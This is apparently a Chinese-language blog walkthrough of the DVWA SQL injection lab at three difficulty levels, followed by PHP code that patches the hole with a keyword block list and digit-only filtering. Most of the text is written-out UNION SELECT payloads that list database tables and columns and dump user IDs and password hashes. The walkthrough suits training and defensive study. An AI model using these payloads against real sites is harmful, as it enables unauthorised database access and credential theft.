[dvwa] sql injection

sql injection

0x01 low

sql语句没有过滤
在这里插入图片描述

经典注入,通过逻辑or为真相当于select * from users where true,99换成1也成
在这里插入图片描述

用union select 对齐列数,查看数据库信息
1’ union select 1,2#

order by探测对齐列数更方便
1’ or 1=1 order by 1,2#
比union select多一个判断

考虑编码
在这里插入图片描述

1’ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=‘dvwa’#

还得是stack overflow nb https://stackoverflow.com/questions/20456152/mysql-error-illegal-mix-of-collations-for-operation-union

在这里插入图片描述

表guestbook, users

1’ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’#

在这里插入图片描述
列: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

1’ union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from dvwa.users #
1’ or 1=1 union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from dvwa.users #
拿到密码
在这里插入图片描述

和直接在数据库中看到的一致
在这里插入图片描述

0x02 medium

从select元素中获取值,提交,显示
抓包观察,修改,发现存在注入
在这里插入图片描述
在这里插入图片描述
数字型注入

order by 3 报错,说明有两列select
在这里插入图片描述

1 union select 1, group_concat(table_schema) COLLATE utf8_general_ci from information_schema.tables where table_schema = database()

在这里插入图片描述

1 union select 1, group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema = database()#

在这里插入图片描述

id=1 union select 1, group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name = 0x7573657273#

在这里插入图片描述

1 or 1=1 union select group_concat(user_id),group_concat(password) from users

在这里插入图片描述
搞定

数字型注入,单引号被过滤

0x03 high

在这里插入图片描述
使用limit 1限制显示,使用#注释即可
在这里插入图片描述

输入和回显不在同一页面可防止sqlmap攻击

1’ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema = ‘dvwa’#

1’ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name = ‘users’#

1’ union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from users #

0x04 Repair 漏洞修复

修复漏洞,同时保证保证功能完整

0x0401 Chars 字符型

过滤关键字,发现不合规的输入就die终止
使用str_replace要优于preg_replace,它将所有的$search替换为$replace,$count显示替换的次数
在这里插入图片描述
在这里插入图片描述
非法输入
在这里插入图片描述
不可以打哦

详细代码


$suspects = array("'"," ","and","or","union","select","#","\\",";","order","by","--","\"");
$allnull = array();
for ($i = 0;$i<count($suspects);$i += 1){
	array_push($allnull,'Hacker');
}
$count = 0;

$id = $_REQUEST[ 'id' ];

$id = str_replace($suspects,$allnull,$id,$count);

if($count>0){
	die("no, can not hack");
}

0x0402 Numbers 数字型

在这里插入图片描述
在这里插入图片描述
intival将串转为数字,is_numberic判断串是否为数字

在这里插入图片描述

用正则匹配所有数字,提取出来重新组成串
这个串中只有数字,如果抓包修改为id=3 or 1=1那么id会变成311。虽然是一个不合法的数据,也可以阻止了union select恶意查询
打开注释内容,更有效。它检测到非数字就会die终止程序


//	$judge = is_numeric($id);
//	if($judge== false){
//		die("sorry, can not pass");
//	}

	preg_match_all('!\d+!', $id, $matches);

	$numbers = $matches[0];

	$id  = implode('',$numbers);

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-11 15:24:01       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-11 15:24:01       106 阅读
  3. 在Django里面运行非项目文件

    2024-04-11 15:24:01       87 阅读
  4. Python语言-面向对象

    2024-04-11 15:24:01       96 阅读

热门阅读

  1. 蓝桥杯---蜗牛

    2024-04-11 15:24:01       45 阅读
  2. python学习——re库的常用函数

    2024-04-11 15:24:01       35 阅读
  3. SQL Server 多表联合更新方法

    2024-04-11 15:24:01       36 阅读
  4. 2. WPF显示一个启动画面(欢迎屏幕)

    2024-04-11 15:24:01       39 阅读
  5. 缓存、分布式缓存、缓存的风险

    2024-04-11 15:24:01       36 阅读
  6. Linux下的链接文件

    2024-04-11 15:24:01       38 阅读
  7. linux SSH 服务管理命令

    2024-04-11 15:24:01       30 阅读
  8. 清空nginx缓存并强制刷新

    2024-04-11 15:24:01       36 阅读
  9. Bash 编程精粹:从新手到高手的全面指南之变量

    2024-04-11 15:24:01       36 阅读
  10. [Linux][shell][权限] shell原理简介 + 权限细节笔记

    2024-04-11 15:24:01       32 阅读
  11. 知识碎片随手记-1

    2024-04-11 15:24:01       33 阅读